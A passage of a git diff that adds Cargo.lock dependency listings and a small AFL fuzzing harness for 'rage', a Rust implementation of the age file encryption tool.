"0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "162ee34ebcb7c64a8abebc059ce0fee27c2262618d7b60ed8faf72fef13c3650" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "futures-sink" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e575fab7d1e0dcb8d0c7bcf9a63ee213816ab51902e6d244a95819acacf1d4f7" + +[[package]] +name = "futures-task" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f90f7dce0722e95104fcb095585910c0977252f286e354b5e3bd38902cd99988" + +[[package]] +name = "futures-util" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "hashbrown" +version = "0.14.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1" + +[[package]] +name = "hkdf" +version = "0.12.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b5f8eb2ad728638ea2c7d47a21db23b7b58a72ed6a38256b8a1849f15fbbdf7" +dependencies = [ + "hmac", +] + +[[package]] +name = "hmac" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e" +dependencies = [ + "digest", +] + +[[package]] +name = "home" +version = "0.5.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3d1354bf6b7235cb4a0576c2619fd4ed18183f689b12b006a0ee7329eeff9a5" +dependencies = [ + "windows-sys 0.52.0", +] + +[[package]] +name = "i18n-config" +version = "0.4.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e88074831c0be5b89181b05e6748c4915f77769ecc9a4c372f88b169a8509c9" +dependencies = [ + "basic-toml", + "log", + "serde", + "serde_derive", + "thiserror", + "unic-langid", +] + +[[package]] +name = "i18n-embed" +version = "0.15.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7839d8c7bb8da7bd58c1112d3a1aeb7f178ff3df4ae87783e758ca3bfb750b7" +dependencies = [ + "arc-swap", + "fluent", + "fluent-langneg", + "fluent-syntax", + "i18n-embed-impl", + "intl-memoizer", + "lazy_static", + "log", + "parking_lot", + "rust-embed", + "thiserror", + "unic-langid", + "walkdir", +] + +[[package]] +name = "i18n-embed-fl" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6e9571c3cba9eba538eaa5ee40031b26debe76f0c7e17bafc97ea57a76cd82e" +dependencies = [ + "dashmap", + "find-crate", + "fluent", + "fluent-syntax", + "i18n-config", + "i18n-embed", + "lazy_static", + "proc-macro-error2", + "proc-macro2", + "quote", + "strsim", + "syn", + "unic-langid", +] + +[[package]] +name = "i18n-embed-impl" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f2cc0e0523d1fe6fc2c6f66e5038624ea8091b3e7748b5e8e0c84b1698db6c2" +dependencies = [ + "find-crate", + "i18n-config", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "inout" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a0c10553d664a4d0bcff9f4215d0aac67a639cc68ef660840afe309b807bc9f5" +dependencies = [ + "generic-array", +] + +[[package]] +name = "intl-memoizer" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe22e020fce238ae18a6d5d8c502ee76a52a6e880d99477657e6acc30ec57bda" +dependencies = [ + "type-map", + "unic-langid", +] + +[[package]] +name = "intl_pluralrules" +version = "7.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "078ea7b7c29a2b4df841a7f6ac8775ff6074020c6776d48491ce2268e068f972" +dependencies = [ + "unic-langid", +] + +[[package]] +name = "io_tee" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b3f7cef34251886990511df1c61443aa928499d598a9473929ab5a90a527304" + +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" + +[[package]] +name = "libc" +version = "0.2.161" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9489c2807c139ffd9c1794f4af0ebe86a828db53ecdc7fea2111d0fed085d1" + +[[package]] +name = "lock_api" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07af8b9cdd281b7915f413fa73f29ebd5d55d0d3f0155584dade1ff18cea1b17" +dependencies = [ + "autocfg", + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7a70ba024b9dc04c27ea2f0c0548feb474ec5c54bba33a7f72f873a39d07b24" + +[[package]] +name = "memchr" +version = "2.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3" + +[[package]] +name = "minimal-lexical" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" + +[[package]] +name = "nom" +version = "7.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" +dependencies = [ + "memchr", + "minimal-lexical", +] + +[[package]] +name = "once_cell" +version = "1.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1261fe7e33c73b354eab43b1273a57c8f967d0391e80353e51f764ac02cf6775" + +[[package]] +name = "opaque-debug" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08d65885ee38876c4f86fa503fb49d7b507c2b62552df7c70b2fce627e06381" + +[[package]] +name = "parking_lot" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1bf18183cf54e8d6059647fc3063646a1801cf30896933ec2311622cc4b9a27" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e401f977ab385c9e4e3ab30627d6f26d00e2c73eef317493c4ec6d468726cf8" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-targets", +] + +[[package]] +name = "pbkdf2" +version = "0.12.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8ed6a7761f76e3b9f92dfb0a60a6a6477c61024b775147ff0973a02653abaf2" +dependencies = [ + "digest", + "hmac", +] + +[[package]] +name = "pin-project" +version = "1.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be57f64e946e500c8ee36ef6331845d40a93055567ec57e8fae13efd33759b95" +dependencies = [ + "pin-project-internal", +] + +[[package]] +name = "pin-project-internal" +version = "1.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c0f5fad0874fc7abcd4d750e76917eaebbecaa2c20bde22e1dbeeba8beb758c" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "915a1e146535de9163f3987b8944ed8cf49a18bb0056bcebcdcece385cece4ff" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "poly1305" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8159bd90725d2df49889a078b54f4f79e87f1f8a8444194cdca81d38f5393abf" +dependencies = [ + "cpufeatures", + "opaque-debug", + "universal-hash", +] + +[[package]] +name = "ppv-lite86" +version = "0.2.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77957b295656769bb8ad2b6a6b09d897d94f05c41b069aede1fcdaa675eaea04" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "proc-macro-error-attr2" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96de42df36bb9bba5542fe9f1a054b8cc87e172759a1868aa05c1f3acc89dfc5" +dependencies = [ + "proc-macro2", + "quote", +] + +[[package]] +name = "proc-macro-error2" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11ec05c52be0a07b08061f7dd003e7d7092e0472bc731b4af7bb1ef876109802" +dependencies = [ + "proc-macro-error-attr2", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "proc-macro2" +version = "1.0.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f139b0662de085916d1fb67d2b4169d1addddda1919e696f3252b740b629986e" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5b9d34b8991d19d98081b46eacdd8eb58c6f2b201139f7c5f643cc155a633af" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom", +] + +[[package]] +name = "redox_syscall" +version = "0.5.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b6dfecf2c74bce2466cabf93f6664d6998a69eb21e39f4207930065b27b771f" +dependencies = [ + "bitflags", +] + +[[package]] +name = "rust-embed" +version = "8.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa66af4a4fdd5e7ebc276f115e895611a34739a9c1c01028383d612d550953c0" +dependencies = [ + "rust-embed-impl", + "rust-embed-utils", + "walkdir", +] + +[[package]] +name = "rust-embed-impl" +version = "8.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6125dbc8867951125eec87294137f4e9c2c96566e61bf72c45095a7c77761478" +dependencies = [ + "proc-macro2", + "quote", + "rust-embed-utils", + "syn", + "walkdir", +] + +[[package]] +name = "rust-embed-utils" +version = "8.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e5347777e9aacb56039b0e1f28785929a8a3b709e87482e7442c72e7c12529d" +dependencies = [ + "sha2", + "walkdir", +] + +[[package]] +name = "rustc-hash" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" + +[[package]] +name = "rustc_version" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92" +dependencies = [ + "semver", +] + +[[package]] +name = "salsa20" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97a22f5af31f73a954c10289c93e8a50cc23d971e80ee446f1f6f7137a088213" +dependencies = [ + "cipher", +] + +[[package]] +name = "same-file" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "scrypt" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0516a385866c09368f0b5bcd1caff3366aace790fcd46e2bb032697bb172fd1f" +dependencies = [ + "pbkdf2", + "salsa20", + "sha2", +] + +[[package]] +name = "secrecy" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e891af845473308773346dc847b2c23ee78fe442e0472ac50e22a18a93d3ae5a" +dependencies = [ + "zeroize", +] + +[[package]] +name = "self_cell" +version = "0.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e14e4d63b804dc0c7ec4a1e52bcb63f02c7ac94476755aa579edac21e01f915d" +dependencies = [ + "self_cell 1.0.4", +] + +[[package]] +name = "self_cell" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d369a96f978623eb3dc28807c4852d6cc617fed53da5d3c400feff1ef34a714a" + +[[package]] +name = "semver" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61697e0a1c7e512e84a621326239844a24d8207b4669b41bc18b32ea5cbf988b" + +[[package]] +name = "serde" +version = "1.0.214" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f55c3193aca71c12ad7890f1785d2b73e1b9f63a0bbc353c08ef26fe03fc56b5" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.214" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "de523f781f095e28fa605cdce0f8307e451cc0fd14e2eb4cd2e98a355b147766" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "sha2" +version = "0.10.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "slab" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67" +dependencies = [ + "autocfg", +] + +[[package]] +name = "smallvec" +version = "1.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c5e1a9a646d36c3599cd173a41282daf47c44583ad367b8e6837255952e5c67" + +[[package]] +name = "strsim" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" + +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + +[[package]] +name = "syn" +version = "2.0.87" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25aa4ce346d03a6dcd68dd8b4010bcb74e54e62c90c573f394c46eae99aba32d" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "thiserror" +version = "1.0.66" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d171f59dbaa811dbbb1aee1e73db92ec2b122911a48e1390dfe327a821ddede" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.66" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b08be0f17bd307950653ce45db00cd31200d82b624b36e181337d9c7d92765b5" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tinystr" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9117f5d4db391c1cf6927e7bea3db74b9a1c1add8f7eda9ffd5364f40f57b82f" +dependencies = [ + "displaydoc", +] + +[[package]] +name = "toml" +version = "0.5.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4f7f0dd8d50a853a531c426359045b1998f04219d88799810762cd4ad314234" +dependencies = [ + "serde", +] + +[[package]] +name = "type-map" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "deb68604048ff8fa93347f02441e4487594adc20bb8a084f9e564d2b827a0a9f" +dependencies = [ + "rustc-hash", +] + +[[package]] +name = "typenum" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" + +[[package]] +name = "unic-langid" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23dd9d1e72a73b25e07123a80776aae3e7b0ec461ef94f9151eed6ec88005a44" +dependencies = [ + "unic-langid-impl", +] + +[[package]] +name = "unic-langid-impl" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0a5422c1f65949306c99240b81de9f3f15929f5a8bfe05bb44b034cc8bf593e5" +dependencies = [ + "serde", + "tinystr", +] + +[[package]] +name = "unicode-ident" +version = "1.0.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e91b56cd4cadaeb79bbf1a5645f6b4f8dc5bde8834ad5894a8db35fda9efa1fe" + +[[package]] +name = "universal-hash" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc1de2c688dc15305988b563c3854064043356019f97a4b46276fe734c4f07ea" +dependencies = [ + "crypto-common", + "subtle", +] + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "walkdir" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29790946404f91d9c5d06f9874efddea1dc06c5efe94541a7d6863108e3a5e4b" +dependencies = [ + "same-file", + "winapi-util", +] + +[[package]] +name = "wasi" +version = "0.11.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" + +[[package]] +name = "winapi-util" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf221c93e13a30d793f7645a0e7762c55d169dbb0a49671918a2319d289b10bb" +dependencies = [ + "windows-sys 0.59.0", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-sys" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_gnullvm", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "x25519-dalek" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7e468321c81fb07fa7f4c636c3972b9100f0346e5b6a9f2bd0603a52f7ed277" +dependencies = [ + "curve25519-dalek", + "rand_core", + "serde", + "zeroize", +] + +[[package]] +name = "xdg" +version = "2.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "213b7324336b53d2414b2db8537e56544d981803139155afa84f76eeebb7a546" + +[[package]] +name = "zerocopy" +version = "0.7.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b9b4fd18abc82b8136838da5d50bae7bdea537c574d8dc1a34ed098d6c166f0" +dependencies = [ + "byteorder", + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.7.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa4f8080344d4671fb4e831a13ad1e68092748387dfc4f55e356242fae12ce3e" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "zeroize" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ced3678a2879b30306d323f4542626697a464a97c0a07c9aebf7ebca65cd4dde" +dependencies = [ + "zeroize_derive", +] + +[[package]] +name = "zeroize_derive" +version = "1.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce36e65b0d2999d2aafac989fb249189a141aee1f53c612c1f37d72631959f69" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] diff --git a/lib/rage/fuzz-afl/Cargo.toml b/lib/rage/fuzz-afl/Cargo.toml new file mode 100644 index 0000000..edda503 --- /dev/null +++ b/lib/rage/fuzz-afl/Cargo.toml @@ -0,0 +1,14 @@ +[package] +name = "age-fuzz-afl" +version = "0.0.0" +authors = ["Jack Grigg "] +publish = false +edition = "2018" + +[dependencies] +afl = "0.15" +age = { path = "../age" } + +# Prevent this from interfering with workspaces +[workspace] +members = ["."] diff --git a/lib/rage/fuzz-afl/src/main.rs b/lib/rage/fuzz-afl/src/main.rs new file mode 100644 index 0000000..f0d0b9c --- /dev/null +++ b/lib/rage/fuzz-afl/src/main.rs @@ -0,0 +1,8 @@ +#[macro_use] +extern crate afl; + +fn main() { + fuzz!(|data: &[u8]| { + age::fuzz_header(data); + }); +} diff --git a/lib/rage/fuzz/.gitignore b/lib/rage/fuzz/.gitignore new file mode 100644 index 0000000..572e03b --- /dev/null +++ b/lib/rage/fuzz/.gitignore @@ -0,0 +1,4 @@ + +target +corpus +artifacts diff --git a/lib/rage/fuzz/Cargo.lock b/lib/rage/fuzz/Cargo.lock new file mode 100644 index 0000000..225219d --- /dev/null +++ b/lib/rage/fuzz/Cargo.lock @@ -0,0 +1,1233 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "aead" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d122413f284cf2d62fb1b7db97e02edb8cda96d769b16e443a4f6195e35662b0" +dependencies = [ + "crypto-common", + "generic-array", +] + +[[package]] +name = "age" +version = "0.11.0" +dependencies = [ + "age-core", + "base64", + "bech32", + "chacha20poly1305", + "cookie-factory", + "hmac", + "i18n-embed", + "i18n-embed-fl", + "lazy_static", + "nom", + "pin-project", + "rand", + "rust-embed", + "scrypt", + "sha2", + "subtle", + "x25519-dalek", + "zeroize", +] + +[[package]] +name = "age-core" +version = "0.11.0" +dependencies = [ + "base64", + "chacha20poly1305", + "cookie-factory", + "hkdf", + "io_tee", + "nom", + "rand", + "secrecy", + "sha2", +] + +[[package]] +name = "age-fuzz" +version = "0.0.0" +dependencies = [ + "age", + "age-core", + "cookie-factory", + "libfuzzer-sys", +] + +[[package]] +name = "arbitrary" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "64cf76cb6e2222ed0ea86b2b0ee2f71c96ec6edd5af42e84d59160e91b836ec4" + +[[package]] +name = "arc-swap" +version = "1.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69f7f8c3906b62b754cd5326047894316021dcfe5a194c8ea52bdd94934a3457" + +[[package]] +name = "autocfg" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ace50bade8e6234aa140d9a2f552bbee1db4d353f69b8217bc503490fc1a9f26" + +[[package]] +name = "base64" +version = "0.21.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" + +[[package]] +name = "basic-toml" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "823388e228f614e9558c6804262db37960ec8821856535f5c3f59913140558f8" +dependencies = [ + "serde", +] + +[[package]] +name = "bech32" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d86b93f97252c47b41663388e6d155714a9d0c398b99f1005cbc5f978b29f445" + +[[package]] +name = "bitflags" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "byteorder" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" + +[[package]] +name = "cc" +version = "1.1.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67b9470d453346108f93a59222a9a1a5724db32d0a4727b7ab7ace4b4d822dc9" +dependencies = [ + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "chacha20" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3613f74bd2eac03dad61bd53dbe620703d4371614fe0bc3b9f04dd36fe4e818" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", +] + +[[package]] +name = "chacha20poly1305" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10cd79432192d1c0f4e1a0fef9527696cc039165d729fb41b3f4f4f354c2dc35" +dependencies = [ + "aead", + "chacha20", + "cipher", + "poly1305", + "zeroize", +] + +[[package]] +name = "cipher" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" +dependencies = [ + "crypto-common", + "inout", + "zeroize", +] + +[[package]] +name = "cookie-factory" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9885fa71e26b8ab7855e2ec7cae6e9b380edff76cd052e07c683a0319d51b3a2" +dependencies = [ + "futures", +] + +[[package]] +name = "cpufeatures" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "608697df725056feaccfa42cffdaeeec3fccc4ffc38358ecd19b243e716a78e0" +dependencies = [ + "libc", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22ec99545bb0ed0ea7bb9b8e1e9122ea386ff8a48c0922e43f36d45ab09e0e80" + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "curve25519-dalek" +version = "4.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 